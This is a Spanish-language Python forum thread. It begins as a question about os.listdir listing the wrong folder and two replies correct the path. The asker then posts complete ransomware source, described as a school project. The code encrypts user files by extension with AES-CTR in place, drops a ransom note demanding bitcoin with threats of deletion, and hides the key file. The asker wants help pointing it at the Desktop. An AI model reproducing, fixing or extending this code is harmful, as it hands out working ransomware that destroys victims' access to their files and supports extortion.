Python - Listar archivos

 
Vista:

Listar archivos

Publicado por Gabriel Signes Vila (9 intervenciones) el 26/01/2021 16:47:33
Hola, me gustaría listar los archivos de una carpeta en concreto, pero solo consigo que el programa liste los archivos que tengo donde ejecuto el script. El código (en parte) es este:

1
2
3
4
5
6
7
import os
 
username = os.getlogin()
destination = 'C:\\Users\\[]\\Desktop\\pruebas'.format(username)
destination = os.path.abspath('')
files = os.listdir(destination)
print (files)



No me imprime los archivos de la dirección de "destination", sino los archivos donde he ejecutado el programa.
Alguien sabe como hacerlo? De verdad, me sería de muchísima ayuda.

Gracias de antemano.
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder
Imágen de perfil de joel
Val: 3.475
Oro
Ha mantenido su posición en Python (en relación al último mes)
Gráfica de Python

Listar archivos

Publicado por joel (901 intervenciones) el 26/01/2021 20:12:52
Yo creo que seria algo así:
1
2
3
4
5
6
import os
 
username = os.getlogin()
destination = f'C:\\Users\\{username}\\Desktop\\pruebas'
files = os.listdir(destination)
print (files)
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
1
Comentar
Imágen de perfil de Elias
Val: 10
Ha disminuido su posición en 7 puestos en Python (en relación al último mes)
Gráfica de Python

Listar archivos

Publicado por Elias (3 intervenciones) el 27/01/2021 00:52:15
Hola!! El código quedaría algo así:
1
2
3
4
5
6
import os
 
username = os.getlogin()
destination = 'C:\\Users\\{}\\Desktop'.format(username)
files = os.listdir(destination)
print(files)

Simplemente se quita la linea innecesaria de
1
destination = os.path.abspath('''')
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

Listar archivos

Publicado por Gabriel Signes Vila (9 intervenciones) el 27/01/2021 11:31:18
Hola, para esa parte del código si funciona, pero el código entero del ransomware (es para un proyecto del instituto, educativo), es este:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import os
from tkinter import messagebox
import random
import hashlib
import socket
from Crypto.Util import Counter
from Crypto.Cipher import AES
import shutil
 
def archivo_texto():
 
	archivo_texto = open ("LEEME","w")
	frase = "OOOPS :(, ¡TUS ARCHIVOS HAN SIDO ENCRIPTADOS!  \n \n \n¿Que les ha sucedido a mis archivos? \n \nSus archivos acaban de ser encriptados, resultando completamente inutilizables. \nEs posible que muchos de sus documentos y fotos ahora no sean compatibles con su dispositivo, y por tanto no los puede abrir. \n \n¿Puedo recuperar mis archivos? \n \n¡Por supuesto! Si desea decodificar sus archivos para que vuelvan a ser utilizables, \nsímplemente siga las instrucciones que se muestran a continuación: \n \n \n \nINSTRUCCIONES: \n \n1. Envíe -rescate con bitcoin- \n \n2. Envíe por email un comprobante de pago (como una captura de pantalla) \n   a la dirección del pago \n \n3. Una vez comprobado el pago, le indicaré por gmail dónde se encuentra la clave para recuperar sus archivos. \n \n \n¿QUE NO DEBO HACER? \n \n-Bajo ningún concepto trate de eliminar ningún archivo del pc, ya que la clave se encuentra alojada en alguno de ellos. \n \n-NO intente instalar antivirus o desencriptar los archivos por su cuenta. \n Si hace esto, TODOS SUS ARCHIVOS SERÁN ELIMINADOS y no los podrá recuperar. \n \n-NO reinicie el sistema infectado, por mucho que lo haga, sus archivos seguirán encriptados."
	archivo_texto.write (frase)
	archivo_texto.close()
 
archivo_texto()
 
username = os.getlogin()
 
destination = 'C:\\Users\\[]\\Desktop\\pruebas'.format(username)
 
destination = os.path.abspath('')
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]
 
extensions = [".txt", ".png", ".jpg", ".ico", ".mp3", ".mp4", ".exe", ".doc", ".docx", ".pdf", ".lnk", ".bat", ".vbs", ".mov", ".gif", ".dll", ".sys", ".avi", ".wav", ".zip", ".rar", ".ibook", ".mwv", ".jpeg"]
 
def hash_key():
	hashnumber = destination + socket.gethostname() + str(random.randint(0, 10000000000000000000000000000000000000000000000))
	hashnumber = hashnumber.encode('utf-8')
	print(hashnumber)
	hashnumber = hashlib.sha512(hashnumber)
	hashnumber = hashnumber.hexdigest()
 
	new_key = []
 
	for k in hashnumber:
		if len(new_key) == 32:
			hashnumber = ''.join(new_key)
			break
		else:
			new_key.append(k)
 
	return hashnumber
 
 
def encrypt_and_decrypt(text, crypto, block_size = 16):
	with open(text, 'r+b') as encrypted_file:
		unencrypted_content = encrypted_file.read(block_size)
		while unencrypted_content:
			encrypted_content = crypto(unencrypted_content)
			if len(unencrypted_content) != len(encrypted_content):
				raise ValueError('')
 
			encrypted_file.seek(- len(unencrypted_content), 1)
			encrypted_file.write(encrypted_content)
			unencrypted_content = encrypted_file.read(block_size)
 
 
 
def discover(key):
	archivos_lista = open('archivos_lista', 'w+')
 
	for extension in extensions:
		for file in files:
			if file.endswith(extension):
				archivos_lista.write(os.path.join(file)+ '\n')
	archivos_lista.close()
 
	del_space = open('archivos_lista', 'r')
	del_space = del_space.read().split('\n')
	print(del_space)
	del_space = [i for i in del_space if not i == '']
	print(del_space)
 
	if os.path.exists('clave'):
		decrypt_field = input('Enter the symmetric key: ')
 
		clave = open('clave', 'r')
 
		key = clave.read().split('\n')
		key = ''.join(key)
 
		if decrypt_field == key:
			key = key.encode('utf-8')
			counter = Counter.new(128)
			crypto = AES.new(key, AES.MODE_CTR, counter = counter)
 
			cryp_files = crypto.decrypt
 
			for element in del_space:
				encrypt_and_decrypt(element, cryp_files)
	else:
		counter = Counter.new(128)
		crypto = AES.new(key, AES.MODE_CTR, counter = counter)
 
		clave = open('clave', 'wb')
		clave.write(key)
		clave.close()
 
		cryp_files = crypto.encrypt
 
		for element in del_space:
			encrypt_and_decrypt(element, cryp_files)
 
 
def main():
	hashnumber = hash_key()
	print(hashnumber)
	print(len(hashnumber))
	hashnumber = hashnumber.encode('utf-8')
	discover(hashnumber)
 
 
if __name__ == '__main__':
	try:
		main()
	except KeyboardInterrupt:
		exit()
 
 
def leeme():
 
    username = os.getlogin()
    shutil.copy("LEEME", "C:/Users/{}/Desktop".format(username))
    shutil.copy("LEEME", "C:/Users/{}/Documents".format(username))
    shutil.copy("LEEME", "C:/Users/{}/Downloads".format(username))
    shutil.move("clave", "C:/Users/{}/Roaming/Intel/Wireless".format(username))
 
leeme()



Y sigue sin funcionarme. ¿Alguna idea?
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
-1
Comentar